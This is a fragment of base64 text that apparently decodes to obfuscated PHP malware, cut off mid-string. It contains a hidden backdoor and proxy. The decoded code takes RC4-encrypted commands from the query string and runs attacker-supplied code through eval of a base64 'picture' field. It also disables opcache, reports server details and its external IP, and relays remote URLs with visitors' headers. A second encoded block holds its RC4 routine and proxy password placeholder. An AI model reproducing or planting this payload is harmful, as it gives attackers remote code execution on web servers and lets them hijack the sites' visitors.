Jlc3BvbnNlQ29kZSwkbXNnKT1leHBsb2RlKCcgJywkbGluZSk7IC8vZ2V0IGh0dHAgcmVzcG9uc2UgY29kZSBmcm9tIGZpcnN0IGxpbmUKCQkJJHJlc3BvbnNlSGVhZGVyLj0kbGluZTsKCQkJCX0KCQkJaWYgKCgkbGluZT09IlxyXG4iKSAmJiAkaXNoZWFkZXIpCSAgewoJCQkJCSAgICAgICAkaXNoZWFkZXI9RkFMU0U7CgkJCQkJICAgICAgICRsaW5lPScnOwoJCQkJCSAgICAgICBjb250aW51ZTsKCQkJCSAgIAkgCQkJICB9CgkJCQkJaWYgKCEkaXNoZWFkZXIpICRyZXNwb25zZUJvZHkuPSRsaW5lOwoJCSAgICAJCQkJCX0KCSAJZmNsb3NlKCRmcCk7CiAgICAgICAgICAgICAgICAJYnJlYWs7CgoJCSAgICBkZWZhdWx0OgoJICAgICAgICByZXR1cm4gRkFMU0U7CgkJICAgICAgIAkJfQoKCXJldHVybiBhcnJheSgkcmVzcG9uc2VDb2RlLCRyZXNwb25zZUhlYWRlcixiYXNlNjRfZW5jb2RlKCRyZXNwb25zZUJvZHkpKTsKCX0KCgoKCgoKIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjCiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIwojIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMKIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjCiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIwojIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMKIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjCiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIwojIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMKIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjCiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIwoKaWYgKCghaXNzZXQoJF9TRVJWRVJbIkRPQ1VNRU5UX1JPT1QiXSkpIHx8ICghJF9TRVJWRVJbIlFVRVJZX1NUUklORyJdKSkgIGRpZSgnTk8gUVVFUlkgU1RSSU5HJyk7CgoKJHRoaXNmaWxlPXRyaW0ocHJlZ19yZXBsYWNlKCcvXCguKiQvJywnJywgX19GSUxFX18pKTsKCmlmIChmdW5jdGlvbl9leGlzdHMoJ2luaV9zZXQnKSkKCQl7CgkJaW5pX3NldCgnb3BjYWNoZS5lbmFibGUnLCAwKTsKCQlpbmlfc2V0KCdvcGNhY2hlLmVuYWJsZV9jbGknLCAwKTsKCQl9CgppZiAoZnVuY3Rpb25fZXhpc3RzKCdvcGNhY2hlX2ludmFsaWRhdGUnKSkKICAgICAgICAgICAgICAgIHsKICAgICAgICAgICAgICAgIG9wY2FjaGVfaW52YWxpZGF0ZShfX0ZJTEVfXywgdHJ1ZSk7CiAgICAgICAgICAgICAgICBvcGNhY2hlX2ludmFsaWRhdGUoJHRoaXNmaWxlLCB0cnVlKTsKICAgICAgICAgICAgICAgIH0KCmV2YWwoJyQnLmdlbmVyYXRlX3JhbmRvbV9zdHJpbmcocmFuZCg3LDIwKSkuIj0nIi5nZW5lcmF0ZV9yYW5kb21fc3RyaW5nKHJhbmQoMTAsNDApKS4iJzsiKTsKCgoKCQojIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIERFQlVHICMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMKI2VjaG8gIjxwcmU+IjsKI3ByaW50X3IoJF9TRVJWRVIpOwojIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIERFQlVHICMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMKCglwYXJzZV9zdHIoJF9TRVJWRVJbJ1FVRVJZX1NUUklORyddLCRxcyk7Cgkka2F2PWFycmF5KCk7IC8va2V5cyBhbmQgdmFsdWVzCglmb3JlYWNoICgkcXMgYXMgJGtleT0+JHZhbHVlKSAgJGthdj1hcnJheV9tZXJnZSgka2F2LGV4dHJhY3Rfa2F2KCRrZXkpLGV4dHJhY3Rfa2F2KCR2YWx1ZSkpOwoJZm9yZWFjaCAoJGthdiBhcyAkbGluZSkKCXsKCQkkcGFyYW1zPV9kX2VfY29kZSgkbGluZSxUUlVFKTsKCQlpZiAoJHBhcmFtcyE9PU5VTEwpIGJyZWFrOwoJfQojdmFyX2R1bXAoJHBhcmFtcyk7ZGllKCk7CiNlY2hvIF9fTElORV9fLiJcbiI7ZGllKCk7CgppZiAoISRwYXJhbXMpIGRpZSgnRmFpbGVkIHRvIGRlY29kZSBwYXJhbXMnKTsgLy8hISEhISEhISEhISEhISEhISEhISEhISEhISEhISEhISEhISEhISEhISEhISEhISEhISEhISEhISEhISEhISEhISEhIQokcmVxdWVzdF9hcGkgPSAoZnVuY3Rpb25fZXhpc3RzKCdjdXJsX3ZlcnNpb24nKSkgPyAnY3VybCcgOiAnc3NjJzsKCmlmICghJHBhcmFtcy0+cHJveHlfYmFzZSkgJHBhcmFtcy0+cHJveHlfYmFzZT1yZXNvbHZlX3Byb3h5X2Jhc2UoKTsKCgokaW5mbz1hcnJheSgKCQkiY291bnRyeV9jb2RlIiA9PiAnbi9hJywKCQkidHlwZSIgPT4gJHJlcXVlc3RfYXBpLAoJCSdkb3duc3BlZWQnID0+ICduL2EnLAoJICAgICAgICAncHJveHlfdmVyc2lvbicgPT4gUFJPWFlfVkVSU0lPTiwKCQkndW5hbWUnID0+IHBocF91bmFtZSgpLAoJCSdwaHBfdmVyc2lvbicgPT4gUEhQX1ZFUlNJT04sCgkgICAgICAgICdpbm9kZScgICA9PiBmaWxlaW5vZGUoJHRoaXNmaWxlKSwKCSAgICAgICAgJ210aW1lJyAgID0+IGZpbGVjdGltZSgkdGhpc2ZpbGUpLAoJICAgICAgICAnc3RhdHVzJyAgPT4gJ09LJywKCSAgICAgICAgJ3Byb3h5X2Jhc2UnICA9PiAkcGFyYW1zLT5wcm94eV9iYXNlLAoJICAgICAgICAndmVyc2lvbicgPT4gJHZlcnNpb24sCgkgICAgICAgICdwYXRoJyAgPT4gJHRoaXNmaWxlCgkJKTsKCgppZiAoJHBhcmFtcy0+YWN0aW9uKQoJewpzd2l0Y2ggKCRwYXJhbXMtPmFjdGlvbikgewogICAgICAgIGNhc2UgJ3N0YXR1cyc6CiAgICAgICAgY2FzZSAnZnN0YXR1cyc6CiAgICAgICAgICAgICAgICAkaW5mb1snbG9hZGF2ZyddICA9IG1yZWFkZmlsZSgnL3Byb2MvbG9hZGF2ZycpID8gIG1yZWFkZmlsZSgnL3Byb2MvbG9hZGF2ZycpIDogJ24vYSc7CgkJJG1lPXN5c19nZXRfdGVtcF9kaXIoKS5ESVJFQ1RPUllfU0VQQVJBVE9SLm1kNShfX0ZJTEVfXyk7CgkJaWYgKGZpbGVfZXhpc3RzKCRtZSkpICRpbmZvWydkb3duc3BlZWQnXT1maWxlX2dldF9jb250ZW50cygkbWUpOwoJCWlmICgoJHBhcmFtcy0+YWN0aW9uPT0nZnN0YXR1cycpICYmICgoIWZpbGVfZXhpc3RzKCRtZSkpIHx8ICgodGltZSgpLWZpbGVtdGltZSgkbWUpKT45MDApKSkKCQkJewogICAgICAgICAgICAgICAgJHN0YXJ0PW1pY3JvdGltZSh0cnVlKTsKCQkkcmVxaW5mbz1yZXF1ZXN0KCJodHRwczovL2dpdGh1Yi5jb20vQml0RG9jdG9yL3NwZWVkLXRlc3QtZmlsZS9yYXcvbWFzdGVyLzVtYi50eHQiLCRyZXF1ZXN0X2FwaSk7IC8vcmV0dXJuIGFycmF5KCRyZXNwb25zZUNvZGUsJHJlc3BvbnNlSGVhZGVyLCRyZXNwb25zZUJvZHkpCgkJaWYgKHN0cmxlbigkcmVxaW5mb1syXSkpCiAgICAgICAgICAgICAgICAkaW5mb1snZG93bnNwZWVkJ10gPSBieXRlMihzdHJsZW4oJHJlcWluZm9bMl0pIC8gKG1pY3JvdGltZSh0cnVlKSAtICRzdGFydCkpOwoJCQkJZWxzZSAkaW5mb1snZG93bnNwZWVkJ109J24vYSc7CgkJZmlsZV9wdXRfY29udGVudHMoJG1lLCRpbmZvWydkb3duc3BlZWQnXSk7CgkJCX0gCgkJJHJlcWluZm89cmVxdWVzdCgiaHR0cHM6Ly9pcHdoby5pcy8iLCRyZXF1ZXN0X2FwaSk7IC8vcmV0dXJuIGFycmF5KCRyZXNwb25zZUNvZGUsJHJlc3BvbnNlSGVhZGVyLCRyZXNwb25zZUJvZHkpIAogICAgICAgICAgICAgICAgJGlwX2luZm89anNvbl9kZWNvZGUoJHJlcWluZm9bMl0sVFJVRSk7CiAgICAgICAgICAgICAgICBpZiAoaXNfYXJyYXkoJGlwX2luZm8pICYmICgkaXBfaW5mb1snc3VjY2VzcyddPT1UUlVFKSkKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB7CiAgICAgICAgICAgICAgICAgICAgICAgICRpbmZvWydpcCddPSRpcF9pbmZvWyJpcCJdOwogICAgICAgICAgICAgICAgICAgICAgICAkaW5mb1snY291bnRyeV9jb2RlJ109JGlwX2luZm9bImNvdW50cnlfY29kZSJdOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIGJyZWFrOwogICAgICAgIGNhc2UgJ2V2YWwnOgogICAgICAgICAgICAgICAgJGNvZGU9aXNzZXQoJF9SRVFVRVNUWydwaWN0dXJlJ10pID8gYmFzZTY0X2RlY29kZSgkX1JFUVVFU1RbJ3BpY3R1cmUnXSkgOiBGQUxTRTsKICAgICAgICAgICAgICAgIGlmICgkY29kZSkgdHJ5CiAgICAgICAgICAgICAgICAgICAgIHsKCQkJZXZhbCgkY29kZSk7ICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgIH0gY2F0Y2ggKEV4Y2VwdGlvbiAkZSkgewogICAgICAgICAgICAgICAgJGluZm9bJ3N0YXR1cyddICA9ICdGQUlMRUQnOwogICAgICAgICAgICAgICAgJGluZm9bJ2V4Y2VwdGlvbiddICA9ICRlLT5nZXRNZXNzYWdlKCk7CiAgICAgICAgICAgICAgICAkaW5mb1sncmF3Y29kZSddICA9ICRjb2RlOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIGJyZWFrOwoJCSAgICAgICB9CgogICAgICAgICRpbmZvWydhY3Rpb24nXSAgID0gJHBhcmFtcy0+YWN0aW9uOwogICAgICAgIG1wKCRpbmZvLCRfU0VSVkVSWyJRVUVSWV9TVFJJTkciXSk7CiAgICAgICAgfQoKCgoKaWYgKCRwYXJhbXMtPnVybCkKCXsKCQkkY2NyYzMyPUZBTFNFOwoJCSRjZmlsZW5hbWU9Y2FjaGVkX2ZuYW1lKCRwYXJhbXMtPnVybCk7CgoJCWlmICgoJHBhcmFtcy0+Y2FjaGUpICYmICRjZmlsZW5hbWUpCgkJCXsKCQkJbGlzdCgkcmVzcG9uc2VDb2RlLCRyZXNwb25zZUhlYWRlciwkcmVzcG9uc2VCb2R5KT1leHBsb2RlKCJcbiIsZmlsZV9nZXRfY29udGVudHMoJGNmaWxlbmFtZSkpOwoJCQkkcmVzcG9uc2VDb2RlPV9kX2VfY29kZSgkcmVzcG9uc2VDb2RlLFRSVUUpOwoJCQkkcmVzcG9uc2VIZWFkZXI9X2RfZV9jb2RlKCRyZXNwb25zZUhlYWRlcixUUlVFKTsKCQkJJHJlc3BvbnNlQm9keT1iYXNlNjRfZGVjb2RlKF9kX2VfY29kZSgkcmVzcG9uc2VCb2R5LFRSVUUpKTsKCQkJJGNhY2hlZGNyYzMyPWNyYzMyKCRyZXNwb25zZUJvZHkpOwoJCQkkb3JpZ2NyYzMyPSRwYXJhbXMtPmNhY2hlLT5jcmMzMjsKCQkJfQoJCWlmICghKCRwYXJhbXMtPmNhY2hlKSB8fCAoJGNhY2hlZGNyYzMyIT0kb3JpZ2NyYzMyKSkKCQkJCXsKCQkJCSRoZWFkZXJzPWFycmF5KCk7CgkJCQkkdmlzaXRvcl9oZWFkZXJzPV9kX2VfY29kZShhcnJheV9tZXJnZShnZXRfaW5jb21pbmdfaGVhZGVycygpLGFycmF5KCdwcm94eV9iYXNlJz0+JHBhcmFtcy0+cHJveHlfYmFzZSwncHJveHlfdmVyc2lvbic9PlBST1hZX1ZFUlNJT04pKSk7CgkJCQkkaGVhZGVyc1tdPSJSRVFVRVNULURBVEE6ICIuJHZpc2l0b3JfaGVhZGVyczsKCQkJCSRoZWFkZXJzW109IkFDQ0VQVDogKi8qIjsKCQkJCWxpc3QoJHJlc3BvbnNlQ29kZSwkcmVzcG9uc2VIZWFkZXIsJHJlc3BvbnNlQm9keSk9cmVxdWVzdCgkcGFyYW1zLT51cmwsJHJlcXVlc3RfYXBpLCRoZWFkZXJzKTsKCQkJCWlmICgoJGNmaWxlbmFtZSkmJihmaWxlX2V4aXN0cygkY2ZpbGVuYW1lKSkpIHVubGluaygkY2ZpbGVuYW1lKTsKCQkJCWlmICgoJHBhcmFtcy0+Y2FjaGUpJiYoJGNmaWxlbmFtZSkpIGZpbGVfcHV0X2NvbnRlbnRzKCRjZmlsZW5hbWUsX2RfZV9jb2RlKCRyZXNwb25zZUNvZGUpLiJcbiIuX2RfZV9jb2RlKCRyZXNwb25zZUhlYWRlcikuIlxuIi5fZF9lX2NvZGUoJHJlc3BvbnNlQm9keSkpOwoJCQkJJHJlc3BvbnNlQm9keT1iYXNlNjRfZGVjb2RlKCRyZXNwb25zZUJvZHkpOwoJCQkJfQoJCQlodHRwX3Jlc3BvbnNlX2NvZGUoJHJlc3BvbnNlQ29kZSk7CgkJCSRyZXNwb25zZUhlYWRlcnMgPSBzcGxpdFJlc3BvbnNlSGVhZGVycygkcmVzcG9uc2VIZWFkZXIpOwoJCQlmb3JlYWNoICgkcmVzcG9uc2VIZWFkZXJzIGFzICRoZWFkZXIpIAl7CgkJCSRoZWFkZXJQYXJ0cyA9IHByZWdfc3BsaXQoJy86XHMrLycsICRoZWFkZXIsIDIpOwoJCQlpZiAoY291bnQoJGhlYWRlclBhcnRzKSAhPT0gMikge2NvbnRpbnVlO30KCgkJCSRoZWFkZXJOYW1lID0gJGhlYWRlclBhcnRzWzBdOwoJCQkkbG93ZXJlZEhlYWRlck5hbWUgPSBzdHJ0b2xvd2VyKCRoZWFkZXJOYW1lKTsKCQkJJGhlYWRlclZhbHVlID0gJGhlYWRlclBhcnRzWzFdOwoJCQkkbG93ZXJlZEhlYWRlclZhbHVlID0gc3RydG9sb3dlcigkaGVhZGVyVmFsdWUpOwoKCQkJaWYgKGluX2FycmF5KCRsb3dlcmVkSGVhZGVyTmFtZSwgYXJyYXkoInVybCIsInByaW1hcnktaXAiLCJjZXJ0aW5mbyIsInByaW1hcnktcG9ydCIsImxvY2FsLWlwIiwibG9jYWwtcG9ydCIsImNvbnRlbnQtbGVuZ3RoIiwiY2FjaGUtY29udHJvbCIsImxhc3QtbW9kaWZpZWQiLCJhY2NlcHQtcmFuZ2VzIikpKSBjb250aW51ZTsKCQkJaGVhZGVyKCIkaGVhZGVyTmFtZTogJGhlYWRlclZhbHVlIix0cnVlKTsKCQkJCQkJCX0KCQlpZiAoJHJlc3BvbnNlQm9keSkKCQkJewoJCWVjaG8gJHJlc3BvbnNlQm9keTsKCQlpZiAoJHBhcmFtcy0+cmFuZG9taXplKSBlY2hvIHJhbmRvbWl6ZV9vdXRwdXQoKTsKCQkJfQoKCX0KJF9TRVJWRVJbIlFVRVJZX1NUUklORyJdPWdlbmVyYXRlX3JhbmRvbV9zdHJpbmcocmFuZCgzMCwxNTApKTsKZGllKCk7';
#$proxy_code='aGVhZGVyKCJBY2Nlc3MtQ29udHJvbC1BbGxvdy1PcmlnaW46ICoiLHRydWUpOwpoZWFkZXIoIkV4cGlyZXM6IE1vbiwgMjYgSnVsIDE5OTcgMDU6MDA6MDAgR01UIix0cnVlKTsKaGVhZGVyKCJMYXN0LU1vZGlmaWVkOiAiIC4gZ21kYXRlKCJELCBkIE0gWSBIOmk6cyIpIC4gIiBHTVQiLHRydWUpOwpoZWFkZXIoIkNhY2hlLUNvbnRyb2w6IG5vLXN0b3JlLCBuby1jYWNoZSwgbXVzdC1yZXZhbGlkYXRlIix0cnVlKTsKaGVhZGVyKCJDYWNoZS1Db250cm9sOiBwb3N0LWNoZWNrPTAsIHByZS1jaGVjaz0wIix0cnVlKTsKaGVhZGVyKCJQcmFnbWE6IG5vLWNhY2hlIix0cnVlKTsKCiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIwpkZWZpbmUoJ1BST1hZX1ZFUlNJT04nLCAnNC4wLjEnKTsKZGVmaW5lKCdQUk9YWV9QQVNTV09SRCcsICdfX1BBU1NXT1JEX18nKTsKIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjCmZ1bmN0aW9uIHJjNCgkc3RyLCRrZXk9UFJPWFlfUEFTU1dPUkQpIHsKICAgIGlmIChlbXB0eSgkc3RyKSkgcmV0dXJuICcnOwogICAgaWYgKCFpc19zdHJpbmcoJHN0cikpICRzdHI9c3RydmFsKCRzdHIpOwogICAgICAgICRzID0gYXJyYXkoKTsKICAgICAgICBmb3IgKCRpID0gMDsgJGkgPCAyNTY7ICRpKyspIHsKICAgICAgICAgICAgICAgICRzWyRpXSA9ICRpOwogICAgICAgIH0KICAgICAgICAkaiA9IDA7CiAgICAgICAgZm9yICgkaSA9IDA7ICRpIDwgMjU2OyAkaSsrKSB7CiAgICAgICAgICAgICAgICAkaiA9ICgkaiArICRzWyRpXSArIG9yZCgka2V5WyRpICUgc3RybGVuKCRrZXkpXSkpICUgMjU2OwogICAgICAgICAgICAgICAgJHggPSAkc1skaV07CiAgICAgICAgICAgICAgICAkc1skaV0gPSAkc1skal07CiAgICAgICAgICAgICAgICAkc1skal0gPSAkeDsKICAgICAgICB9CiAgICAgICAgJGkgPSAwOwogICAgICAgICRqID0gMDsKICAgICAgICAkcmVzID0gJyc7CiAgICAgICAgZm9yICgkeSA9IDA7ICR5IDwgc3RybGVuKCRzdHIpOyAkeSsrKSB7CiAgICAgICAgICAgICAgICAkaSA9ICgkaSArIDEpICUgMjU2OwogICAgICAgICAgICAgICAgJGogPSAoJGogKyAkc1skaV0pICUgMjU2OwogICAgICAgICAgICAgICAgJHggPSAkc1skaV07CiAgICAgICAgICAgICAgICAkc1skaV0gPSAkc1skal07CiAgICAgICAgICAgICAgICAkc1skal0gPSAkeDsKICAgICAgICAgICAgICAgICRyZXMgLj0gJHN0clskeV0gXiBjaHIoJHNbKCRzWyRpXSArICRzWyRqXSkgJSAyNTZdKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuICRyZXM7Cn0KIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjCmZ1bmN0aW9uIF9kX2VfY29kZSgkaW5wdXQsJGRlY29kZT1GQUxTRSkKCXsKCSR0b2RvID0gJGRlY29kZSA/ICdkZWNvZGUnIDogJ2VuY29kZSc7CgkkZnVuY3M9YXJyYXkoJ2pzb25fJy4kdG9kbywncmM0JywnYmFzZTY0XycuJHRvZG8sJ3Jhd3VybCcuJHRvZG8pOwoJaWYgKCRkZWNvZGUpICRmdW5jcz0gYXJyYXlfcmV2ZXJzZSgkZnVuY3MpOwoJZm9yZWFjaCAoJGZ1bmNzIGFzICRmdW5jKSAkaW5wdXQ9JGZ1bmMoJGlucHV0KTsKCXJldHVybiAkaW5wdXQ7Cgl9CiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIwpmdW5jdGlvbiBjYWNoZWRfZm5hbWUoJGZpbGVfcGF0aCkKCQl7CgkkY2FjaGVkaXI9c3lzX2dldF90ZW1wX2RpcigpOwoJaWYgKCghaXNfd3JpdGFibGUoJGNhY2hlZGlyKSl8fCghaXNfcmVhZGFibGUoJGNhY2hlZGlyKSkpIHJldHVybiBGQUxTRTsKCSRjYWNoZWRfZm5hbWUgPV9kX2VfY29kZShiYXNlbmFtZSgkZmlsZV9wYXRoKSk7CglyZXR1cm4gJGNhY2hlZGlyLkRJUkVDVE9SWV9TRVBBUkFUT1IucHJlZ19yZXBsYWNlKCcvW15hLXpBLVowLTlfLi1dLycsICcnLCAkY2FjaGVkX2ZuYW1lKTsKCQl9CiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIwpmdW5jdGlvbiByZXNvbHZlX2NsaWVudF9pcCgpIDpzdHJpbmcKewogICAgJGhlYWRlcnMgPSBhcnJheSgKICAgICAgICAnSFRUUF9DRl9DT05ORUNUSU5HX0lQJywgLy8gQ2xvdWRGbGFyZQogICAgICAgICdIVFRQX1hfRk9SV0FSREVEX0ZPUicsICAvLyBBV1MgTEIgYW5kIG90aGVyIHJldmVyc2UtcHJveGllcwogICAgICAgICdIVFRQX1hfUkVBTF9JUCcsCiAgICAgICAgJ0hUVFBfWF9DTElFTlRfSVAnLAogICAgICAgICdIVFRQX0NMSUVOVF9JUCcsCiAgICAgICAgJ0hUVFBfWF9DTFVTVEVSX0NMSUVOVF9JUCcKICAgICk7CiAgICBmb3JlYWNoICgkaGVhZGVycyBhcyAkaGVhZGVyKSB7CiAgICAgICAgaWYgKGFycmF5X2tleV9leGlzdHMoJGhlYWRlciwgJF9TRVJWRVIpKSB7CiAgICAgICAgICAgICRpcCA9ICRfU0VSVkVSWyRoZWFkZXJdOwogICAgICAgICAgICAvLyBUaGlzIGxpbmUgbWlnaHQgb3IgbWlnaHQgbm90IGJlIHVzZWQuCiAgICAgICAgICAgICRpcCA9IHRyaW0oZXhwbG9kZSgnLCcsICRpcClbMF0pOwogICAgICAgICAgICAKICAgICAgICAgICAgcmV0dXJuICRpcDsKICAgICAgICB9CiAgICB9CiAgICAKICAgIHJldHVybiAkX1NFUlZFUlsnUkVNT1RFX0FERFInXTsKfQojIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMKZnVuY3Rpb24gcmVzb2x2ZV9wcm94eV9iYXNlKCkKCXsKCWlmIChpc3NldCgkX1NFUlZFUlsnSFRUUFMnXSkpICRwcm90bz0naHR0cHMnOwoJZWxzZWlmIChpc3NldCgkX1NFUlZFUlsnSFRUUF9YX0ZPUldBUkRFRF9QUk9U